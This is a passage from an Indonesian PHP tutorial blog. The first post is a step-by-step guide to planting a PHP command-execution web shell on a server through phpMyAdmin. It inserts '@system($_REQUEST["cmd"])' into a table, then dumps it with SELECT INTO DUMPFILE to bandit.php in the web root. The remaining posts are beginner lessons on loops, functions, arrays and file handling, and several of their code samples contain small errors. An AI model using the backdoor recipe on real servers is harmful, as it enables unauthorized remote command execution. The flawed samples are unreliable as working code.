http://aux.iconpedia.net/uploads/10875870971013046993.pnghttp://aux.iconpedia.net/uploads/1540998406962263282.png !

Featured Post 1 Title

Replace these every slide sentences with your featured post descriptions.Go to Blogger edit html and find these sentences.Now replace these with your own descriptions.This theme is Bloggerized by Lasantha - Premiumbloggertemplates.com.Download more free blogger templates from www.premiumbloggertemplates.com.

Read More

Featured Post 2 Title

Replace these every slide sentences with your featured post descriptions.Go to Blogger edit html and find these sentences.Now replace these with your own descriptions.This theme is Bloggerized by Lasantha - Premiumbloggertemplates.com.Download more free blogger templates from www.premiumbloggertemplates.com.

Read More

Featured Post 3 Title

Replace these every slide sentences with your featured post descriptions.Go to Blogger edit html and find these sentences.Now replace these with your own descriptions.This theme is Bloggerized by Lasantha - Premiumbloggertemplates.com.Download more free blogger templates from www.premiumbloggertemplates.com.

Read More

Featured Post 4 Title

Replace these every slide sentences with your featured post descriptions.Go to Blogger edit html and find these sentences.Now replace these with your own descriptions.This theme is Bloggerized by Lasantha - Premiumbloggertemplates.com.Download more free blogger templates from www.premiumbloggertemplates.com.

Read More

Featured Post 5 Title

Replace these every slide sentences with your featured post descriptions.Go to Blogger edit html and find these sentences.Now replace these with your own descriptions.This theme is Bloggerized by Lasantha - Premiumbloggertemplates.com.Download more free blogger templates from www.premiumbloggertemplates.com.

Read More

Featured Post 7 Title

Replace these every slide sentences with your featured post descriptions.Go to Blogger edit html and find these sentences.Now replace these with your own descriptions.This theme is Bloggerized by Lasantha - Premiumbloggertemplates.com.Download more free blogger templates from www.premiumbloggertemplates.com.

Read More

Featured Post 6 Title

Replace these every slide sentences with your featured post descriptions.Go to Blogger edit html and find these sentences.Now replace these with your own descriptions.This theme is Bloggerized by Lasantha - Premiumbloggertemplates.com.Download more free blogger templates from www.premiumbloggertemplates.com.

Read More
Tampilkan postingan dengan label php. Tampilkan semua postingan
Tampilkan postingan dengan label php. Tampilkan semua postingan

Oktober 24, 2011

Pasang Backdoor lewat Phpmyadmin (windows)

Pasang Backdoor lewat Phpmyadmin (windows)
Phpmyadmin adalah perangkat lunak bebas (Open source) yang ditulis dalam bahasa pemrograman php untuk menangani administrasi Mysql.
Disini saya akan mencoba menerangkan tentang Backdoor via phpmyadmin pada webserver windows secara rinci!!
Yang pasti percobaan lewat localhost di windows…saya menggunakan XAMPP dan phpmyadmin 2.11.4!! 
Buka phpmyadminnya dengan URL
http://localhost/phpmyadmin
Setelah terbuka tampilan phpmyadmin, dan klik pada tab SQL / seperti pada telunjuk icon di bawah (query Window) 

Kemudian akan muncul  tampilan query window pada phpmyadmin tersebut.
Masukan perintah 
SHOW VARIABLES
“SHOW VARIABLES = Untuk mengetahui Base Dir / Direktori pada webserver tersebut”
Nanti pada Variable_name ada basedir (Letak Direktori Servernya)

Keterangan Gambar: 
Webserver tersebut terdapat pada Direktori E: ,dan pada Folder server 
Untuk lebih jelas mengetahui versi mySQL dan OS nya Lihat paling bawah

Mulai  dech…
Create Database: 
belajar
Kemudian pada Database : belajar , ada tab SQL seperti gambar di bawah ini




Dan masukan perintah di bawah pada text area!!  

CREATE TABLE iseng(
dor TEXT) TYPE=MYISaM;
INSERT INTO iseng(dor)
VALUES(
'<pre><body bgcolor=silver ><? @system($_REQUEST["cmd"]); ?></body></pre>');

Keterangan perintah di atas:  
Membuat table “iseng”  dan membuat field “dor” dengan type “text” sedangkan MyISAM adalah tipe tabel default dalam MySQL dan isi text tesebut adalah “ <? @system($_REQUEST["cmd"]); ?>“  itu adalah perintah untuk request ke system menggunakan bahasa PHP

Setelah itu klik pada tab SQL lagi, masukan perintah ini

select * into dumpfile 'E:/server/htdocs/bandit.php' from iseng;

keterangan perintah di atas adalah : 
kita coba dump sebuah file ke Direktori E: pada folder server dan htdocs adalah direktori yang akan ditampilkan oleh web server (Localhost) 

Selesai, Ketik URL :
http://localhost/bandit.php?cmd=cmd

Selanjutnya terserah anda
Dengan menggunakan perintah-perintah CMD pada windows!!!

Note: perintah-perintah CMD yang anda masukan harus seperti ini “/bandit.php?cmd=perintah_CMD”

------------------------------------------------------------------patch------------------------------------------------------------------------

(Continue)..

(Continue)..

Juli 21, 2011

Membuat Website Dinamis Dengan PHP & MySQL

Feb 11, 2010 oleh MyPHPtutorials | 12176 kali dibaca sejak Dec 25, 2010 Level: Pemula
Website dinamis adalah website yang dapat menampilkan hamalan-halaman web dengan informasi yang selalu berubah secara atraktif dan dapat berinterkasi dengan user. PHP sangat bagus digunakan untuk membuat website dinamis. Karena, PHP tidak dapat menyimpan informasi sendiri, maka diperlukan sebuah database untuk menyimpan informasi yang ditampilkan. MySQL adalah salah satu pilihan dalam mengembangkan website dinamis dengan PHP. MySQL sangat mudah diakses dari PHP. Kelebihan PHP dan MySQL adalah dapat berjalan di semua sistem operasi.
Mulai Dari tutorial ini akan dijelaskan bagaimana cara Membuat Website Dinamis Menggunakan PHP dan MySQL. Tutorial ini akan berseri, dan setiap seri tutorial akan berhubungan dengan seri tutorial lainnya. Untuk itu disarankan untuk membaca tutorial dari awal.

Website Dinamis

Bagi kebanyakan orang sebuah halaman web adalah sebuah halaman web, yang dibuka dengan browser dan menampilkan informasi. Ada halaman web yang menampilkan informasi yang tidak berubah dan ada juga yang menampilkan informasi yang selalu berubah atau informasi terbaru seperti berita. Halaman web yang menampilkan informasi yang tidak berubah disebut dengan halaman statis, yang relatif mudah untuk dibuat. Seseorang membuat document HTML secara manual atau menggunakan tool seperti dreamweaver dan meng-uploadnya ke server sehingga bisa dikunjungi oleh pengguna. Jika diperlukan perubahan maka tinggal menggantinya dengan yang baru.
Halaman yang menampilkan informasi yang selalu berubah disebut dengan halaman dinamis. Halaman web dinamis juga di bentuk dari HTML tapi tidak sesimpel halaman statis. HTML ini dibentuk menggunakan bahasa pemrograman misalnya PHP, dimana informasi yang ditampilkan disimpan dalam sebuah "tempat penyimpanan", yang umumnya dalam sebuah database seperti MySQL. Website yang menampilkan halaman dinamis disebut website dinamis, misalnya website yang menampilkan berita sehari-hari yang tiap harinya menampilkan informasi yang berbeda.

PHP

Larry Ullman dalam Visual QuickPro Guide PHP 6 and MySQL 5 for Dynamic Web Sites (2008) mengatakan, PHP originally stood for “Personal Home Page” as it was created in 1994 by Rasmus Lerdorf to track the visitors to his online résumé. As its usefulness and capabilities grew (and as it started being used in more professional situations), it came to mean“PHP: Hypertext Preprocessor.”.
PHP adalah bahasa pemrograman yang didesain untuk menghasilkan halaman web secara interaktik pada komputer yang menyimpannya / mengeksekusinya, yang disebut dengan web server. PHP dapat di-embedded dengan HTML, yang artinya anda dapat menggunakan HTML di dalam PHP atau menaruh script PHP dalam HTML tag. PHP dijalankan di server untuk membentuk tag HTML, kemudian server mengirimkan halaman yang diminta oleh pengguna.

MySQL

MySQL adalah database manangement system untuk relational database atau RDBMS. Database secara ringkas adalah kumpulan data yang mungkin bisa text, bilangan, binari file, yang disimpan dan diorganisir oleh DBMS. MySQL adalah RDBMS gratis yang merupakan saingan dari RDBMS yang berbayar seperti Oracle dan Microsoft SQL Server.
Walapun PHP sangat bagus dalam membangun website dinamis tetapi PHP tidak dapat menyimpan informasi pada dirinya sendiri. Karena PHP adalah bahasa pemrograman. Sehingga anda memerlukan database untuk menyimpan informasi tersebut. MySQL adalah salah statu pilihan dalam mengembangkan website dinamis dengan PHP. MySQL sangat mudah diakses menggunakan PHP.

Apa yang Anda Perlukan untuk Membangun Website Dinamis?

  • Sebuah aplikasi web server, misalkan Apache, Abyss, atau IIS
  • PHP
  • MySQL
  • Sebuah Browser seperti microsoft internet explorer, mozilla, opera, safari.
  • Sebuah text editor (dalam membuat tutorial ini digunakan macromedia dreamweaver).
untuk lebih mudahnya anda bisa menginstall XMAPP yang sudah berisi PHP, MySQL, dan Apache dalam satu paket. Dan XAMPP ini bisa didownload gratis. (Dalam menulis tutorial ini penulis menggunakan XAMPP 1.6.4) . Cara menginstall dan Menggunakan XAMPP bisa ada lihat di http://www.apachefriends.org/en/xampp.html

Website Hello World

Setelah semua kebutuhan di atas terpenuhi anda bisa memulai untuk belajar membuat website dengan PHP. Seperti pembelajaran bahasa pemograman lainnya tutorial ini akan dimulai dengan website hello world, yang akan menampilkan text "hello world". Seperti disebutkan di atas PHP dapat ditaruh dalam HTML tag. Untuk menambahkan code PHP dalam sebuah halaman, tempatkan code PHP di dalam PHP tag:

<?PHP
?>

segala sesuatu yang diletakkan di dalam PHP tag akan dieksekusi oleh web server dan text di luar PHP tag akan segera dikirim ke web browser sebagai HTML biasa. Tetapi anda harus ingat,  file yang berisi code PHP harus disimpan dengan ektensi .php agar web server mengeksekusinya sebagai php script. Untuk membuat website hello world ikutilah langkah-langkah di bawah ini:
  1. Buatlah document baru pada text editor anda (tidak masalah editor apa yang anda gunakan).
  2. Mulai dengan mengetik document HTML dasar seperti di bawah ini :
  3. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
    <title>hello world</title>
    </head>
    <body>
    <p>Belajar PHP</p>

    </body>
    </html>
  4. Sebelum penutup tag body (</body>) tambahkan kode PHP di bawah ini :
    <?php
    echo "hello world my name is PHP<br>This is generate using PHP ";
    ?>
  5. Jadi hasil akhirnya seperti di bawah ini :
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
    <title>hello world</title>
    </head>
    <body>
    <p>Belajar PHP</p>

    <?php
    echo "hello world my name is PHP<br>This is generate using PHP";

    ?>


    </body>
    </html>

    echo digunakan untuk mengirim text / HTML tag ke web browser, text / tag HTML yang dikirim diletakkan dalam tanda petik dua ". PHP adalah case-insensitive jika yang ditulis adalah nama dari sebuah fungsi, jadi ECHO, eCho, dan echo semuanya akan berfungsi, tapi tentunya echo jauh lebih mudah dalam menulisnya bukan? setiap baris kode php diakhiri dengan tanda titik kome ;. Di atas, echo digunakan untuk mengirim text dan tag HTML "hello world my name is PHP<br>This is generate using PHP ". "hello world my name is PHP" dan "This is generate using PHP" adalah text dan "<br>" adalah tag HTML untuk membuat line break (enter).
  6. Simpan document tersebut dengan nama hello.php dan taruh pada direktori web server anda. Jika anda menggunakan XAMPP, anda akan menaruhnya di direktori c:/xampp/htdocs/
  7. Untuk melihat hasilnya, buka web browser anda dan ketik URL "http://localhost/hallo.php" atau "http://127.0.0.1/hallo.php". Anda harus menggunakan URL untuk melihat hasilnya, karena PHP perlu diekseskusi oleh web server. Anda tidak bisa hanya dengan membukanya di browser seperti mebuka document HTML. Jika anda sudah melakukanya dengan benar maka hasilnya akan seperti berikut:
Hello Word

Demikianlah Tutorial Membangun Website Dinamis Dengan PHP dan MySQL - Bagian hello world. Pada tutorial selanjutnya  akan dijelaskan lebih mendalam lagi tentang PHP. Jika ada suatu pertanyaan atau ada yang tidak anda mengerti dari tutorial ini silahkan tanyakan ke forum.
SELAMAT MENCOBA
Tutorial Lanjutan: Dasar Dasar PHP Bagian I
(Continue)..

(Continue)..

Juli 19, 2011

PENGULANGAN

Pengulangan
Digunakan untuk mengulang suatu perintah sebanyak yang diinginkan tanpa harus menulis ulang. Bahasa PHP mengenal tiga jenis perintah pengulangan, yaitu:


1. for
Digunakan untuk mengulangi perintah dengan jumlah pengulangan yang sudah diketahui. Pada perintah ini tidak perlu menuliskan suatu kondisi untuk diuji. Kita hanya perlu menuliskan nilai awal dan akhir variabel penghitung. Nilai variabel penghitung akan secara otomatis bertambah atau berkurang tiap kali sebuah pengulangan dilaksanakan. Sintaks penulisannya sebagai berikut : 

for (nilai_awal; nilai_akhir; penambahan/penurunan)
{
pernyataan yang akan dijalankan
}

contoh struktur pengulangan dengan for

for($i=3; $i<= 7; $i++)
{
print(" Indonesia Tanah Airku
");
}
?>


2. while
Perintah ini digunakan untuk mengulangi suatu perintah sampai jumlah tertentu. Pengulangan akan terus berjalan selama kondisi masih bernilai benar. Sintaks penulisannya sebagai berikut :

while (kondisi)
{
pernyataan yang akan dijalankan
}

contoh struktur pengulangan dengan while

$i=1;
while ($i <= 5)
{
print("$i
");
$i++;
}
?>


3. do … while
Proses pengulangan akan berjalan jika kondisi yang diperiksa di while masih bernilai benar dan pengulangan akan dihentikan jika kondisinya sudah bernilai salah. Sintaks penulisannya sebagai berikut :

do
{
pernyataan yang akan dijalankan
}
while (kondisi)

Perbedaan antara perintah while dengan do … while adalah terletak dari kondisi yang diperiksa. Pada perintah while, kondisi yang diperiksa terletak diawal perulangan, sehingga sebelum masuk ke dalam perulangan while kondisi harus bernilai benar. Sedangkan pada perintah do … while, kondisi diperiksa di akhir perulangan. Ini berarti bahwa paling sedikit sebuah perulangan akan dilakukan oleh perintah do … while, karena untuk masuk ke dalam perulangan tidak ada kondisi yang harus dipenuhi. Contoh struktur pengulangan dengan do … while :


$i = 1;
do
{
print("$i
");
$i++;
}while($i <= 5);
?>

Download this .doc

 -==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Nyuri dari kaka cantik //shezyu

                                                                ~**~
(Continue)..

(Continue)..

FUNGSI DALAM PHP

Peranan fungsi sangat berguna dalam program yang akan kita buat. Dengan penggunaan fungsi program yang kita buat akan mudah dibaca dan tidak perlu menuliskan perintah yang sama berkali-kali. Fungsi bisa menggunakan argumen dan bisa juga tanpa argumen.

Membuat Fungsi
Dalam pembuatan program seringkali kita membutuhkan sekumpulan perintah yang akan digunakan berkali-kali. Hal ini dapat kita hindari dengan menggunakan subrutin. Subrutin adalah sekumpulan perintah yang diberi nama dan kemudian dapat kita panggil sewaktu-waktu. Dalam pemrograman dikenal dua macam subrutin, yaitu prosedur dan fungsi.
Perbedaan antara kedua macam subrutin ini adalah, fungsi mengembalikan nilai tertentu, sedangkan prosedur tidak. Bahasa PHP hanya mengenal perintah untuk membuat fungsi, yaitu function. Kita dapat membuat prosedur dengan mengunakan perintah yang sama tapi tidak dengan menggunakan perintah return. Perintah return digunakan untuk mengembalikan nilai tertentu. Standar penulisan fungsi adalah:
Function nama_fungsi(argumen)
{
kode perintah
}

Dibawah ini contoh penggunaan fungsi. Contoh yang pertama tidak menggunakan perintah return sedangkan yang kedua menggunakan perintah return, perhatikan perbedaan yang nampak pada hasilnya.

Contoh program tanpa perintah return


function amikom()
{
print("www.amikom.ac.id,
portal kampus nomor 1 di Indonesia");
}

amikom();
?>

Contoh program dengan perintah return

function cetak_tebal($input)
{
$teks = "";
$teks .= "$input";
$teks .= "
";
return($teks);
}
print("Kalimat ini belum dicetak tebal
\n");
print(cetak_tebal("Kalau yang ini sudah dicetak tebal"));
?>

Fungsi dengan Argumen
Argumen adalah suatu nilai tertentu yang dimasukkan ke dalam sebuah fungsi. Secara default sebuah argumen bersifat pass by value, yang berarti hanya nilainya saja yang dibutuhkan sehingga nilai pada variabel tersebut tidak mengalami perubahan. Perhatikan contoh berikut:
Contoh 1.

function XpangkatY($X, $Y)
{
if($Y == 0)
{
$hasil = 1;
}
elseif($Y > 0)
{
$hasil = $X;
for($I = 1;$I < $Y; $I++)
{
$hasil *= $X;
}
}
elseif($Y < 0)
{
$hasil = 1;
for($I = 1;$I < $Y; $I ++)
{
$hasil /= $X;
}
}

return($hasil);
}

print(XpangkatY(2,10));
?>


Contoh 2.

function cetaktebal($kata)
{
print("" . $kata . "");
}
print("Baris ini belum dicetak tebal
\n");
cetaktebal("Baris ini sudah dicetak tebal, khan ?….");
?>

Selain argumen yang telah dijelaskan diatas, ada juga yang bersifat pass by reference, yang digunakan ketika kita ingin mengubah nilai sebuah argumen. Untuk membuat argumen pass by reference kita akan menggunakan karakter “&” di depan nama argumennya. Untuk lebih jelasnya perhatikan contoh berikut:

function konkat(&$unit)
{
$unit .= "tempat orang kuliah berdasi";
}
$kata = "AMIKOM ";
konkat($kata);
print($kata);
?>

Fungsi Rekursif
Adalah fungsi yang memanggil dirinya sendiri secara berulang-ulang. Rekursif merupakan konsep yang agak sulit dipelajari. Untuk itu kami memberikan contoh berikut ini dengan harapan dapat dimengerti oleh rekan-rekan semua:

function cekInteger($nilai)
{
if($nilai > 1)
{
return(cekInteger($nilai - 1));
}
elseif($nilai < 0)
{
return(cekInteger((- 1)* $nilai - 1));
}
else
{
if(($nilai > 0)and ($nilai < 1))
{
return("Bukan");
}
else
{
return("Tepat");
}
}
}
print("Apakah 0 bilangan Integer ? " . cekInteger(0). "
\n" );
print("Benarkah 5 bilangan Integer ? " . cekInteger(5). "
\n" );
print("Apakah -5 juga bilangan Integer ? " . cekInteger(-5). "
\n" );
print("Bagaimana dengan 2.5 bilangan Integer ? " . cekInteger(2.5).
"
\n" );
?>
 -==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Nyuri dari kaka cantik //shezyu

                                                                ~**~

(Continue)..

(Continue)..

ARRAY DALAM PHP

ARRAY

Array merupakan salah satu fasilitas untuk menyimpan data secara berurutan. Dalam array data tersimpan dengan menggunakan indeks untuk memudahkan pencarian kembali data tersebut. Array berbeda dengan variabel. Array dapat mempunyai sejumlah nilai, sedangkan variabel hanya mempunyai sebuah nilai saja.

Pendeklarasian Array
Data dalam array disebut elemen-elemen array. Letak urutan dari suatu elemen array ditunjukkan oleh suatu indeks. Array mempunyai batas atas dan batas bawah, di mana data akan tersimpan di antara kedua batas tersebut. Semua elemen array yang tersimpan mempunyai tipe data yang sama. Array dapat berdimensi satu, dua, tiga atau lebih. Array dimensi satu (one-dimensional array) mewakili bentuk suatu vektor. Array dimensi dua (two-dimensional array) mewakili bentuk dari suatu matrik. Array dimensi tiga (three-dimensional array) mewakili bentuk suatu ruang. Coba amati contoh berikut ini:
Contoh 1.

$warna=array("merah","kuning","hijau","biru");
print($warna[4]);
?>


Contoh 2.

$kota[0]="Jakarta";
$kota[1]="Yogyakarta";
$kota[2]="Semarang";
$kota[3]="Surabaya";
$kota[4]="Solo";
print("Saat ini saya sedang kuliah di kota $kota[1] BR>\n");
print("Tapi saya ini wong $kota[4] lho !!!
\n");
?>


Contoh berikut merupakan program yang menggunakan array multi dimensi:

$propinsi = array(
"Jatim"=>array("Surabaya","Malang","Jember","Bondowoso"),
"Jabar"=>array("Bandung","Bogor","Tangerang")
"Yogya"=>array("Bantul","Kulon Progo","Sleman") );

print("Hai Jack!!, kamu orang ");
print($propinsi["Yogya"] [3]);
print(" ya …?");
?>
-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Nyuri dari kaka cantik //shezyu

                                                                ~**~ (Continue)..

(Continue)..

MENGAKSES FILE

Pada bagian ini akan dibahas bagaimana cara kita untuk menyimpan suatu data ke dalam suatu file. Pembahasan dimulai dengan menggunakan fungsi yang telah disediakan oleh PHP untuk membuka dan menulis ke file. Kemudian kita akan membahas bagaimana cara menggunakan fungsi untuk membaca isi file dan bagaimana harus mengakhirinya.

Menulis ke File
Bekerja dengan sebuah file memerlukan penanganan tersendiri. Hal pertama yang harus kita lakukan adalah membuka file tersebut. PHP telah menyediakan fungsi untuk membuka file. Fungsi tersebut adalah fopen dan standar penulisannya adalah:
integer fopen(string filename, string mode)

Mode adalah string pilihan operasi yang akan dilakukan terhadap file. Bisa hanya untuk membaca saja, menulis saja atau kedua-duanya. Berikut ini adalah daftar mode yang telah disediakan dalam bahasa PHP.
Mode Operasi yang diizinkan
r{b} Hanya diperbolehkan untuk membaca {binary}.
w{b} Menulis saja, membuat file jika belum ada, mengabaikan isi file sebelumnya {binary}.
a{b} Menambah isi file(append) pada end of file(eof), membuat file jika belum ada {binary}.
r+{b} Membaca dan menulis {binary}.
w+{b} Membaca dan menulis, membuat file jika belum ada dan mengabaikan isi file pada end of file (eof).
a+{b} Membaca dan menulis, membuat file jika belum ada dan menambah isi file pada end of file (eof) {binary}.

Perhatikan contoh ini:


if(!($data=fopen("pokemon.txt","r")))
{
print("File gagal dibuka");
exit;
}
while(!feof($data))
{
$isi_data=fgets($data,255);
print("$isi_data");
}
fclose($data); //file ditutup
?>


Pada contoh tadi dapat kita lihat beberapa fungsi seperti fclose, feof dan fgets yang belum dijelaskan kegunaanya. Untuk sementara abaikan terlebih dulu. Setelah berhasil membuka file, kini saatnya untuk menulis data ke dalam file tersebut. Kita bisa menggunakan fungsi fputs, yang standar penulisannya yaitu:
boolean fputs(int file_handle, string output)

Fungsi ini akan mengembalikan nilai true (1) jika proses menulis berjalan sukses dan sebaliknya false (0) jika gagal. Lihat contoh berikut:


//membuka file
$data=fopen("data.txt","w");
//proses membuka dicek berhasil atau tdak
if (!($data))
{
print("proses membuka gagal");
}
for($count=0; $count<10; $count++)
{
//menulis ke file
fputs($data, "aku bisa nomer $count\n");
}
//menutup file
fclose($data);
?>


Membaca Isi File
Fungsi untuk membaca file adalah fgets. Panjang string yang yang dibaca sebesar panjang pada argumen dikurang satu. Standar penulisannya adalah:

String fgets(integer file_handle, integer lenght)

Contoh yang dapat kita pelajari adalah:



$data=fopen("data.txt","r"); //membuka file
//proses membuka dicek berhasil atau tidak
if (!($data))
{
print("proses membuka gagal");
exit;
}
while(!feof($data))
{
//membaca isi file
$isi_data = fgets($data, 255);
print("$isi_data
\n");
}
fclose($data); //menutup file
?> 

 -==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
dapat dari kaka cantik //shezyu 
                   ~**~
(Continue)..

(Continue)..